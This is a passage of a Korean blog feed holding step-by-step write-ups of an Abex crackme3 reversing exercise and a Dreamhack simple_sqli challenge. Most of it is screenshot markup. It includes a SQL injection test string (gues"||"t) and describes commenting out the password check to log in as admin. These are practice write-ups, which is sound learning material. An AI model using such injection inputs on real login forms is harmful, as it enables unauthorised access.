data-origin-width=&quot;781&quot; data-origin-height=&quot;483&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12.&amp;nbsp;두&amp;nbsp;값을&amp;nbsp;비교하는&amp;nbsp;명령어인&amp;nbsp;cmp를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8Nn8r/btsp7I8wtKd/DcLk1ygAuVLOlu1lS9YDmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8Nn8r/btsp7I8wtKd/DcLk1ygAuVLOlu1lS9YDmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8Nn8r/btsp7I8wtKd/DcLk1ygAuVLOlu1lS9YDmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8Nn8r%2Fbtsp7I8wtKd%2FDcLk1ygAuVLOlu1lS9YDmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;12.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13.&amp;nbsp;eax의&amp;nbsp;값이&amp;nbsp;5인것을&amp;nbsp;확인하였으며,&amp;nbsp;값의&amp;nbsp;갯수와&amp;nbsp;12h가&amp;nbsp;같을&amp;nbsp;때&amp;nbsp;명령어가&amp;nbsp;동작하는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNcJTf/btsp7VmoY0i/QqfF6hC1wL68e2eMtrM32K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNcJTf/btsp7VmoY0i/QqfF6hC1wL68e2eMtrM32K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNcJTf/btsp7VmoY0i/QqfF6hC1wL68e2eMtrM32K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNcJTf%2Fbtsp7VmoY0i%2FQqfF6hC1wL68e2eMtrM32K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;13.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14.&amp;nbsp;키&amp;nbsp;파일에&amp;nbsp;&quot;000000000000&quot;&amp;nbsp;0을&amp;nbsp;12개&amp;nbsp;입력한&amp;nbsp;후&amp;nbsp;저장하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;14.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blfFHV/btsp64qzdbo/tSf5qkq9V8qqGjpfrNjJzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blfFHV/btsp64qzdbo/tSf5qkq9V8qqGjpfrNjJzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blfFHV/btsp64qzdbo/tSf5qkq9V8qqGjpfrNjJzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblfFHV%2Fbtsp64qzdbo%2FtSf5qkq9V8qqGjpfrNjJzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;483&quot; data-filename=&quot;14.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;483&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15.&amp;nbsp;파일&amp;nbsp;실행&amp;nbsp;시&amp;nbsp;EAX가&amp;nbsp;&quot;C&quot;로&amp;nbsp;변환된&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;15.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDJhpy/btsp7AbGNF0/1Oe9GNjw2jK08JZ9uJQLGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDJhpy/btsp7AbGNF0/1Oe9GNjw2jK08JZ9uJQLGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDJhpy/btsp7AbGNF0/1Oe9GNjw2jK08JZ9uJQLGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDJhpy%2Fbtsp7AbGNF0%2F1Oe9GNjw2jK08JZ9uJQLGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;15.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16.&amp;nbsp;알맞은&amp;nbsp;값으로&amp;nbsp;변환하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;16.png&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YSnJ8/btsp9pges7x/2fDxkp07Fu6vcLYtM7aJyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YSnJ8/btsp9pges7x/2fDxkp07Fu6vcLYtM7aJyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YSnJ8/btsp9pges7x/2fDxkp07Fu6vcLYtM7aJyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYSnJ8%2Fbtsp9pges7x%2F2fDxkp07Fu6vcLYtM7aJyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;322&quot; height=&quot;502&quot; data-filename=&quot;16.png&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;17.&amp;nbsp;키파일에&amp;nbsp;&quot;000000000000000000&quot;&amp;nbsp;0을&amp;nbsp;18개&amp;nbsp;입력한&amp;nbsp;후&amp;nbsp;저장하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcU5ec/btsp91farkI/JdspgLPRMy13baI8Og0NCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcU5ec/btsp91farkI/JdspgLPRMy13baI8Og0NCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcU5ec/btsp91farkI/JdspgLPRMy13baI8Og0NCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcU5ec%2Fbtsp91farkI%2FJdspgLPRMy13baI8Og0NCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;483&quot; data-filename=&quot;17.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;483&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;18.&amp;nbsp;파일&amp;nbsp;실행&amp;nbsp;시&amp;nbsp;EAX가&amp;nbsp;&quot;12&quot;로&amp;nbsp;변환된&amp;nbsp;것을&amp;nbsp;확인하였으며,&amp;nbsp;정답쪽으로&amp;nbsp;진행되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;18.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AdZVQ/btsp7JsOhm1/bhVKzHQw0bhD26MybXACa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AdZVQ/btsp7JsOhm1/bhVKzHQw0bhD26MybXACa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AdZVQ/btsp7JsOhm1/bhVKzHQw0bhD26MybXACa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAdZVQ%2Fbtsp7JsOhm1%2FbhVKzHQw0bhD26MybXACa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;18.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;19.&amp;nbsp;정답이라는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;19.png&quot; data-origin-width=&quot;137&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ySna6/btsp7qUAVa8/oOILoOoWtqCwfEgR77xSZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ySna6/btsp7qUAVa8/oOILoOoWtqCwfEgR77xSZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ySna6/btsp7qUAVa8/oOILoOoWtqCwfEgR77xSZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FySna6%2Fbtsp7qUAVa8%2FoOILoOoWtqCwfEgR77xSZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;137&quot; height=&quot;128&quot; data-filename=&quot;19.png&quot; data-origin-width=&quot;137&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>공부/리버싱문제</category>
      <category>abex' crackme</category>
      <category>abex' crackme crackeme3</category>
      <category>abex' crackme문제</category>
      <category>crackeme</category>
      <category>crackeme3</category>
      <category>리버싱</category>
      <category>리버싱crackeme3</category>
      <category>리버싱문제</category>
      <category>해킹</category>
      <category>해킹문제</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/117</guid>
      <comments>https://geru.tistory.com/117#entry117comment</comments>
      <pubDate>Fri, 11 Aug 2023 09:00:37 +0900</pubDate>
    </item>
    <item>
      <title>[드림핵] simple_sqli 문제</title>
      <link>https://geru.tistory.com/116</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp;[HOME&amp;nbsp;&amp;gt;&amp;nbsp;Login]으로&amp;nbsp;접근하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzWaK4/btsp6p2FGwd/RzEE4kpgH9VX6kI4nkhTGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzWaK4/btsp6p2FGwd/RzEE4kpgH9VX6kI4nkhTGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzWaK4/btsp6p2FGwd/RzEE4kpgH9VX6kI4nkhTGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzWaK4%2Fbtsp6p2FGwd%2FRzEE4kpgH9VX6kI4nkhTGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1234&quot; height=&quot;717&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.&amp;nbsp;로그인&amp;nbsp;폼을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4oN9I/btsqh4biDhm/yr3O4XIomjghHOayBPChX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4oN9I/btsqh4biDhm/yr3O4XIomjghHOayBPChX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4oN9I/btsqh4biDhm/yr3O4XIomjghHOayBPChX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4oN9I%2Fbtsqh4biDhm%2Fyr3O4XIomjghHOayBPChX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1231&quot; height=&quot;714&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.&amp;nbsp;문제파일을&amp;nbsp;메모장에&amp;nbsp;열었으며,&amp;nbsp;로그인에&amp;nbsp;사용되는&amp;nbsp;sql&amp;nbsp;쿼리문을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;722&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buhRaG/btsqj4ChV3U/duATeXtKUCAxrjrSmzwi2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buhRaG/btsqj4ChV3U/duATeXtKUCAxrjrSmzwi2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buhRaG/btsqj4ChV3U/duATeXtKUCAxrjrSmzwi2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuhRaG%2Fbtsqj4ChV3U%2FduATeXtKUCAxrjrSmzwi2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1237&quot; height=&quot;722&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;722&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.&amp;nbsp;sql&amp;nbsp;insert문을&amp;nbsp;확인하였으며,&amp;nbsp;계정&amp;nbsp;정보를&amp;nbsp;확인하였습니다.&amp;nbsp;(admin&amp;nbsp;계정의&amp;nbsp;비밀번호가&amp;nbsp;랜덤인&amp;nbsp;것을&amp;nbsp;확인)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCRBw7/btsp9Z2HFyZ/kny8qJ8HSGaPyRHc6iITxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCRBw7/btsp9Z2HFyZ/kny8qJ8HSGaPyRHc6iITxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCRBw7/btsp9Z2HFyZ/kny8qJ8HSGaPyRHc6iITxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCRBw7%2Fbtsp9Z2HFyZ%2Fkny8qJ8HSGaPyRHc6iITxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;718&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;718&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&amp;nbsp;guest계정으로&amp;nbsp;로그인을&amp;nbsp;시도하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYwfSG/btsp6qAwwwT/gSdtDHB6RWamSS0xgXb5K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYwfSG/btsp6qAwwwT/gSdtDHB6RWamSS0xgXb5K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYwfSG/btsp6qAwwwT/gSdtDHB6RWamSS0xgXb5K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYwfSG%2Fbtsp6qAwwwT%2FgSdtDHB6RWamSS0xgXb5K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;715&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6.&amp;nbsp;guest계정으로&amp;nbsp;로그인에&amp;nbsp;성공한&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xoDRd/btsqfA2yTvr/Csk9Xcsoz11PlPa7lenYg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xoDRd/btsqfA2yTvr/Csk9Xcsoz11PlPa7lenYg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xoDRd/btsqfA2yTvr/Csk9Xcsoz11PlPa7lenYg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxoDRd%2FbtsqfA2yTvr%2FCsk9Xcsoz11PlPa7lenYg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1235&quot; height=&quot;717&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7.&amp;nbsp;sql인잭션이&amp;nbsp;가능한지&amp;nbsp;확인하기&amp;nbsp;위해서&amp;nbsp;gues&quot;||&quot;t로&amp;nbsp;로그인을&amp;nbsp;시도하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEou6t/btsqd5uNMFv/KuoMFKpnTydnkGX9Q9W1RK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEou6t/btsqd5uNMFv/KuoMFKpnTydnkGX9Q9W1RK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEou6t/btsqd5uNMFv/KuoMFKpnTydnkGX9Q9W1RK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEou6t%2Fbtsqd5uNMFv%2FKuoMFKpnTydnkGX9Q9W1RK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1231&quot; height=&quot;718&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;718&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8.&amp;nbsp;로그인에&amp;nbsp;성공한&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;716&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDBnYQ/btsqj3i4q1C/IEGVK6dIjDmoB0WLdPrkmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDBnYQ/btsqj3i4q1C/IEGVK6dIjDmoB0WLdPrkmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDBnYQ/btsqj3i4q1C/IEGVK6dIjDmoB0WLdPrkmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDBnYQ%2Fbtsqj3i4q1C%2FIEGVK6dIjDmoB0WLdPrkmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1233&quot; height=&quot;716&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;716&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9.&amp;nbsp;admin&amp;nbsp;계정의&amp;nbsp;비밀번호는&amp;nbsp;알&amp;nbsp;수&amp;nbsp;없으므로&amp;nbsp;admin&amp;nbsp;id값&amp;nbsp;뒤에&amp;nbsp;주석&amp;nbsp;처리하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v0ati/btsp34YKn9C/ogQq5HeI1EXU5n1SGDypuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v0ati/btsp34YKn9C/ogQq5HeI1EXU5n1SGDypuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v0ati/btsp34YKn9C/ogQq5HeI1EXU5n1SGDypuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv0ati%2Fbtsp34YKn9C%2FogQq5HeI1EXU5n1SGDypuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; 